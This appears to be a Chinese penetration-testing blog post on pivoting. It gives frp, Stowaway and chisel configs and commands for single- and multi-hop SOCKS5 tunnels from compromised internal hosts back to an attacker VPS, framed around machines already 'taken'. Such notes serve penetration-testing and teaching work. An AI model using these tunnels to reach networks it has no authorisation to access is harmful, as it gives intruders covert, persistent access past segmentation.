内网穿透

记录几个比较好用的内网穿透工具

frp

这个是比较早的一款内网穿透工具了

一级代理

服务端(我们的VPS) **frps.toml** 配置

完整的配置可参考 frps_full_example.toml

1
2
bindPort = 49378
auth.token = "helloxx.6haha7789"

启动服务端命令./frps -c frps.toml 这里用toml配置文件是因为改版了ini配置文件在4.0的版本适用。

客户端(shell机器)**frpc.toml** 配置

完整配置可参考 frpc_full_example.toml

1
2
3
4
5
6
7
8
9
10
11
12
serverAddr = "1.2.3.4" 
serverPort = 49378
auth.token = "helloxx.6haha7789"

[[proxies]]
name = "plugin_socks5"
type = "tcp"
remotePort = 60051
[proxies.plugin]
type = "socks5"
username = "0HDFt16cLQJCB"
password = "JTN276Gp1A"

启动客户端命令./frpc -c frpc.toml
连接成功后,通过 socks5://<用户名>:<密码>@<服务端IP地址>:<服务端端口> 就可以直接代理进入到目标的内网了,可以访问任意内网资源、发起内网请求等。

多级代理

在实战中,我们拿下了内网机器A,通过内网机器A又拿下了内网机器B,但发现内网机器A不通172段,内网机器B通172段但不出网,这时我们想要通过VPS构建socks5隧道访问到172段,就需要建立多级代理;简单图示如下:

服务端(外网VPS)配置frps.toml一级代理 一致

1
2
bindPort = 49378
auth.token = "helloxx.6haha7789"

由于客户端1(内网机器A)需要充当中转作用,即对于外网VPS来说是客户端,对于内网机器B来说是服务端,因此存在有2份配置文件,分别启动客户端和服务端。

其中服务端配置 frps.toml 如下:

1
bindPort = 49378

客户端配置frpc.toml如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
serverAddr = "1.2.3.4" # 改为 VPS 的 IP 地址
serverPort = 49378
auth.token = "helloxx.6haha7789"

[[proxies]]
name = "plugin_socks5"
type = "tcp"
remotePort = 60051
[proxies.plugin]
type = "socks5"
username = "0HDFt16cLQJCB"
password = "JTN276Gp1A"

[[proxies]]
name = "portforward"
type = "tcp"
localIP = "127.0.0.1"
remotePort = 60052 # 别和上方的remotePort冲突就行
localPort = 6000 # 把本地的6000端口映射出去

接下来在客户端2(内网机器B)上配置 frpc.toml 如下,和客户端1(内网机器A)建立隧道。

1
2
3
4
5
6
7
8
9
10
11
serverAddr = "1.2.3.5" # 改为 内网机器A 的地址
serverPort = 49378

[[proxies]]
name = "plugin_socks5_two"
type = "tcp"
remotePort = 6000 # 修改为上面的 localPort,表明通过 内网机器A 的该端口可以访问到当前的内网
[proxies.plugin]
type = "socks5"
username = "0HDFt16cLQJCB"
password = "JTN276Gp1A"

这样一套启动下来后,通过外网VPS socks5://<账号>:<密码>@<外网VPS IP地址>:60052 就可以访问到客户端2(内网机器B)的内网了。

Stowaway

Stowaway是一个利用go语言编写、专为渗透测试工作者制作的多级代理工具,用户可使用此程序将外部流量通过多个节点代理至内网,突破内网访问限制,构造树状节点网络,并轻松实现管理功能;用于解决frp,nps等工具在搭建多级代理时操作过于复杂不便管理的问题。

一级代理

目标内网全部连通,只需要构建隧道进入到内网即可访问到所有的资源。

在服务端(VPS)启动:

1
./stowaway_linux_x64_admin --heartbeat -l 61032 -s aab32

在被控端(shell机器)启动:

1
./stowaway_macos_x64_agent -c <VPS IP地址>:61032 -s aab32

建立连接后,在服务端选中上线的节点,并且执行socks命令即可。

1
2
3
use 0
# socks 端口 用户名 密码
socks 55667 username password

此时使用 socks5://username:password@<VPS IP>:55667 就可以代理到被控端的内网了。

多级代理

外网VPS上执行:

1
./stowaway_linux_x64_admin --heartbeat -l 61032 -s aab32

内网机器A上执行:

1
./stowaway_linux_x64_admin -c <VPS IP地址>:61032 -s aab32

这时候外网VPS和内网机器A已经建立连接了,进入内网机器A的node节点,执行listen监听端口

1
2
use 0
listen

此时再在内网机器B上执行如下命令和内网机器A建立连接:

1
./stowaway_macos_x64_agent -c <内网机器A IP地址>:23123 -s aab32

执行后可以在外网VPS上看到内网机器B已经上线,这个时候进入该节点再执行socks命令开启代理即可:

1
2
use 1
socks 55667 username password

此时即可通过 socks5://username:password@<VPS IP>:55667 访问到内网机器B的内网了。

chisel

chisel是一款基于HTTP的快速TCP/UDP隧道工具,具有SSH加密和断开重连机制,使用Go语言编写,支持多平台,且单一文件无依赖。该工具可以在攻击者和受害者之间建立连接,用于代理和访问特定端口。通过设置socks5代理,可以访问内部服务器。该工具还支持反向连接和二级代理。

一级代理

攻击者(kali): 192.168.6.131
受害者(windows): 192.168.6.129

拓扑如下:

攻击者(192.168.6.131)<–> 受害者(192.168.6.129,10.1.1.1)< – > 内部服务器 (10.1.1.2)

目标访问: 10.1.1.2

正向连接(socks)

跳板机(受害者)

1
./chisel server -p 12345

攻击者

1
./chisel client 192.168.6.129:12345 socks

socks 代理绑定在了 1080 端口上,本地只要设置 socks5 代理就可以访问。

反向连接

攻击者(黑客)

1
./chisel server -p 12345 --reverse --socks5

跳板机(受害者)

1
chisel.exe client 192.168.6.128:12345 R:socks

此时攻击者通过设置socks代理就可以访问10.1.1.2的服务了

多级代理

访问特定端口

attack kali:

1
chisel  server -p 3333 --reverse

web01:

开启两个终端,既要运行 client 也要运行 server

1
chisel server -p 2222 --reverse
1
chisel client 192.168.126.132:3333 R:1111:127.0.0.1:5555

这里解释一下这里的R:1111是什么意思,指的是在kali端开启1111端口也就是说kali端开启socks代理通过访问1111就会访问到web01端的5555的端口上。

web02:

1
chisel client 192.168.150.128:2222 R:5555:192.168.59.129:80

这里的R:5555的意思也很明显就是在web01开启5555端口当访问web01的5555端口就能访问到web02的80端口所以在 kali 上访问 127.0.0.1:1111,即可访问 192.168.59.129 的 80 端口。

socks代理

kali:

1
chisel server -p 3333 --reverse

web01:

开启两个终端,既要运行 client 也要运行 server

1
chisel server -p 2222 --reverse --socks5
1
chisel client 192.168.126.132:3333 R:1111:socks

web02:

1
chisel client 192.168.150.128:2222 R:5555:socks

proxychains.conf 文件设置代理链

1
2
socks5 127.0.0.1 1111
socks5 127.0.0.1 5555

后续如果还有多级代理只需重复在web01上的步骤即可然后记得要在proxychains.conf添加上代理链
参考:
https://f0rget.me/2023/09/02/chisel-proxy/
https://lca.xlog.page/chisel-dai-li-gong-ju?locale=zh
https://blog.gm7.org/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/01.%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/12.%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F/03.%E5%86%85%E7%BD%91%E7%A9%BF%E9%80%8F/03.%E5%86%85%E7%BD%91%E7%A9%BF%E9%80%8F.html#%E4%B8%80%E7%BA%A7%E4%BB%A3%E7%90%86